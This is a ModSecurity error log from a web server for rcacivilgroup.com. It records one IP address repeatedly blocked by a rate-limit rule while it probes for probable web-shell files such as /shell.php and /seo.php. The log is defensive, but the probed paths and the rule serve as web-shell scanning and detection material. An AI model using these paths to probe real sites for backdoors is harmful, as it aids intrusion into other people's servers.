[Thu Apr 16 22:59:33.878369 2026] [:error] [pid 49094:tid 49108] [client 20.203.186.201:47004] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "aeD5VTbDwvcXorHR_MweQAAAAUw"]
[Thu Apr 16 22:59:34.454652 2026] [:error] [pid 57639:tid 57669] [client 20.203.186.201:35888] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "aeD5VqMCQoTw7TsxWun-UQAAANc"]
[Thu Apr 16 22:59:34.964873 2026] [:error] [pid 49094:tid 49112] [client 20.203.186.201:46996] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "aeD5VjbDwvcXorHR_MweRgAAAVA"]
[Thu Apr 16 22:59:35.486792 2026] [:error] [pid 49094:tid 49105] [client 20.203.186.201:47032] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "aeD5VzbDwvcXorHR_MweSQAAAUk"]
[Thu Apr 16 22:59:36.041313 2026] [:error] [pid 57639:tid 57657] [client 20.203.186.201:47029] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awa.php"] [unique_id "aeD5WKMCQoTw7TsxWun-VAAAAMs"]
[Thu Apr 16 22:59:36.583371 2026] [:error] [pid 7880:tid 7888] [client 20.203.186.201:47033] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "aeD5WKaezm4fSGc0yULPaQAAAYM"]
[Thu Apr 16 22:59:37.118839 2026] [:error] [pid 7880:tid 7885] [client 20.203.186.201:47037] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "aeD5Waaezm4fSGc0yULPagAAAYA"]
[Thu Apr 16 22:59:37.674772 2026] [:error] [pid 57639:tid 57646] [client 20.203.186.201:41485] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "aeD5WaMCQoTw7TsxWun-XwAAAMA"]
[Thu Apr 16 22:59:38.213330 2026] [:error] [pid 57639:tid 57659] [client 20.203.186.201:41535] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/popo.php"] [unique_id "aeD5WqMCQoTw7TsxWun-ZQAAAM0"]
[Thu Apr 16 22:59:38.810838 2026] [:error] [pid 57639:tid 57670] [client 20.203.186.201:41477] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "aeD5WqMCQoTw7TsxWun-ZgAAANg"]
[Thu Apr 16 22:59:39.363269 2026] [:error] [pid 57639:tid 57652] [client 20.203.186.201:41490] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "aeD5W6MCQoTw7TsxWun-ZwAAAMY"]
[Thu Apr 16 22:59:39.922229 2026] [:error] [pid 57639:tid 57654] [client 20.203.186.201:41509] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "aeD5W6MCQoTw7TsxWun-aQAAAMg"]
[Thu Apr 16 22:59:40.401597 2026] [:error] [pid 29603:tid 29627] [client 20.203.186.201:61052] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "aeD5XFfGOR6fpTWUAzq0qwAAARY"]
[Thu Apr 16 22:59:40.891089 2026] [:error] [pid 57639:tid 57653] [client 20.203.186.201:61041] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aeD5XKMCQoTw7TsxWun-bQAAAMc"]
[Thu Apr 16 22:59:41.418776 2026] [:error] [pid 57639:tid 57668] [client 20.203.186.201:41531] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aeD5XaMCQoTw7TsxWun-cAAAANY"]
[Thu Apr 16 22:59:41.916946 2026] [:error] [pid 57639:tid 57649] [client 20.203.186.201:40459] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aeD5XaMCQoTw7TsxWun-cwAAAMM"]
[Thu Apr 16 22:59:42.455785 2026] [:error] [pid 57639:tid 57664] [client 20.203.186.201:61005] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "aeD5XqMCQoTw7TsxWun-dgAAANI"]
[Thu Apr 16 22:59:43.098530 2026] [:error] [pid 57538:tid 57618] [client 20.203.186.201:41475] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "aeD5X8uMaiEF5SVR2Bf8CAAAAJA"]
[Thu Apr 16 22:59:43.634768 2026] [:error] [pid 49094:tid 49117] [client 20.203.186.201:40490] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "aeD5XzbDwvcXorHR_MweXQAAAVU"]
[Thu Apr 16 22:59:44.147655 2026] [:error] [pid 49094:tid 49108] [client 20.203.186.201:62071] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "aeD5YDbDwvcXorHR_MweXgAAAUw"]
[Thu Apr 16 22:59:44.627733 2026] [:error] [pid 57639:tid 57649] [client 20.203.186.201:40472] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "aeD5YKMCQoTw7TsxWun-fAAAAMM"]
[Thu Apr 16 22:59:45.134990 2026] [:error] [pid 57639:tid 57659] [client 20.203.186.201:61030] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "aeD5YaMCQoTw7TsxWun-fQAAAM0"]
[Thu Apr 16 22:59:45.651174 2026] [:error] [pid 57536:tid 57561] [client 20.203.186.201:46924] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "aeD5YSQU4faGja6jpDus6gAAAA0"]
[Thu Apr 16 22:59:46.195045 2026] [:error] [pid 57536:tid 57560] [client 20.203.186.201:40501] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "aeD5YiQU4faGja6jpDus6wAAAAw"]
[Thu Apr 16 22:59:46.716639 2026] [:error] [pid 57538:tid 57602] [client 20.203.186.201:41483] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "aeD5YsuMaiEF5SVR2Bf8DwAAAIA"]
[Thu Apr 16 22:59:47.288540 2026] [:error] [pid 57536:tid 57552] [client 20.203.186.201:47000] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeD5YyQU4faGja6jpDus8wAAAAQ"]
[Thu Apr 16 22:59:47.849864 2026] [:error] [pid 57537:tid 57589] [client 20.203.186.201:47013] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeD5Y1VQRS8nm73ENAnMQwAAAE4"]
[Thu Apr 16 22:59:48.408018 2026] [:error] [pid 57537:tid 57598] [client 20.203.186.201:47028] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeD5ZFVQRS8nm73ENAnMSgAAAFc"]
[Thu Apr 16 22:59:48.981723 2026] [:error] [pid 57536:tid 57561] [client 20.203.186.201:46972] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "aeD5ZCQU4faGja6jpDus-wAAAA0"]
[Thu Apr 16 22:59:49.596919 2026] [:error] [pid 57639:tid 57657] [client 20.203.186.201:27163] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "aeD5ZaMCQoTw7TsxWun-gQAAAMs"]
[Thu Apr 16 22:59:50.132555 2026] [:error] [pid 49094:tid 49113] [client 20.203.186.201:35861] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "aeD5ZjbDwvcXorHR_MweYwAAAVE"]
[Thu Apr 16 22:59:50.694212 2026] [:error] [pid 49094:tid 49117] [client 20.203.186.201:40510] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "aeD5ZjbDwvcXorHR_MweaAAAAVU"]
[Thu Apr 16 22:59:51.228338 2026] [:error] [pid 57639:tid 57663] [client 20.203.186.201:61040] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "aeD5Z6MCQoTw7TsxWun-hAAAANE"]
[Thu Apr 16 22:59:51.698676 2026] [:error] [pid 57639:tid 57647] [client 20.203.186.201:41488] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeD5Z6MCQoTw7TsxWun-hwAAAME"]
[Thu Apr 16 22:59:52.169590 2026] [:error] [pid 49094:tid 49100] [client 20.203.186.201:46921] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeD5aDbDwvcXorHR_MwebwAAAUQ"]
[Thu Apr 16 22:59:52.646028 2026] [:error] [pid 57639:tid 57656] [client 20.203.186.201:25749] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeD5aKMCQoTw7TsxWun-kAAAAMo"]
[Thu Apr 16 22:59:53.187036 2026] [:error] [pid 57639:tid 57657] [client 20.203.186.201:61032] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeD5aaMCQoTw7TsxWun-lgAAAMs"]
[Thu Apr 16 22:59:53.676706 2026] [:error] [pid 49094:tid 49096] [client 20.203.186.201:61001] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "aeD5aTbDwvcXorHR_MwecgAAAUA"]
[Thu Apr 16 22:59:54.260503 2026] [:error] [pid 49094:tid 49098] [client 20.203.186.201:47018] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "aeD5ajbDwvcXorHR_MwedQAAAUI"]
[Thu Apr 16 22:59:54.837963 2026] [:error] [pid 49094:tid 49101] [client 20.203.186.201:35857] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "aeD5ajbDwvcXorHR_MweegAAAUU"]
[Thu Apr 16 22:59:55.311382 2026] [:error] [pid 7880:tid 7905] [client 20.203.186.201:25786] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "aeD5a6aezm4fSGc0yULPdwAAAZQ"]
[Thu Apr 16 22:59:55.897285 2026] [:error] [pid 57537:tid 57581] [client 20.203.186.201:40503] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeD5a1VQRS8nm73ENAnMXQAAAEY"]
[Thu Apr 16 22:59:56.451942 2026] [:error] [pid 49094:tid 49103] [client 20.203.186.201:35875] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeD5bDbDwvcXorHR_MwehAAAAUc"]
[Thu Apr 16 22:59:56.961913 2026] [:error] [pid 49094:tid 49101] [client 20.203.186.201:62043] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeD5bDbDwvcXorHR_MwejAAAAUU"]
[Thu Apr 16 22:59:57.509695 2026] [:error] [pid 49094:tid 49108] [client 20.203.186.201:61034] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "aeD5bTbDwvcXorHR_MwekwAAAUw"]
[Thu Apr 16 22:59:58.477178 2026] [:error] [pid 29603:tid 29619] [client 20.203.186.201:40477] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "aeD5blfGOR6fpTWUAzq0twAAAQ4"]
[Thu Apr 16 22:59:58.949930 2026] [:error] [pid 29603:tid 29627] [client 20.203.186.201:40498] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "aeD5blfGOR6fpTWUAzq0uQAAARY"]
[Thu Apr 16 22:59:59.526841 2026] [:error] [pid 49094:tid 49112] [client 20.203.186.201:35868] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "aeD5bzbDwvcXorHR_MwenQAAAVA"]
[Thu Apr 16 23:00:00.083669 2026] [:error] [pid 57639:tid 57666] [client 20.203.186.201:35900] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "aeD5cKMCQoTw7TsxWun-owAAANQ"]
[Thu Apr 16 23:00:00.612457 2026] [:error] [pid 49094:tid 49109] [client 20.203.186.201:40461] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aeD5cDbDwvcXorHR_MwenwAAAU0"]
[Thu Apr 16 23:00:01.168300 2026] [:error] [pid 49094:tid 49103] [client 20.203.186.201:35878] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aeD5cTbDwvcXorHR_MweoQAAAUc"]
[Thu Apr 16 23:00:01.707522 2026] [:error] [pid 57639:tid 57661] [client 20.203.186.201:41498] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aeD5caMCQoTw7TsxWun-pAAAAM8"]
[Thu Apr 16 23:00:02.189711 2026] [:error] [pid 7880:tid 7901] [client 20.203.186.201:47017] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aeD5cqaezm4fSGc0yULPgAAAAZA"]
[Thu Apr 16 23:00:02.667486 2026] [:error] [pid 49094:tid 49112] [client 20.203.186.201:35844] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeD5cjbDwvcXorHR_MweqgAAAVA"]
[Thu Apr 16 23:00:03.164682 2026] [:error] [pid 57639:tid 57667] [client 20.203.186.201:35862] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeD5c6MCQoTw7TsxWun-qQAAANU"]
[Thu Apr 16 23:00:03.886325 2026] [:error] [pid 57538:tid 57618] [client 20.203.186.201:35887] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "aeD5c8uMaiEF5SVR2Bf8GwAAAJA"]
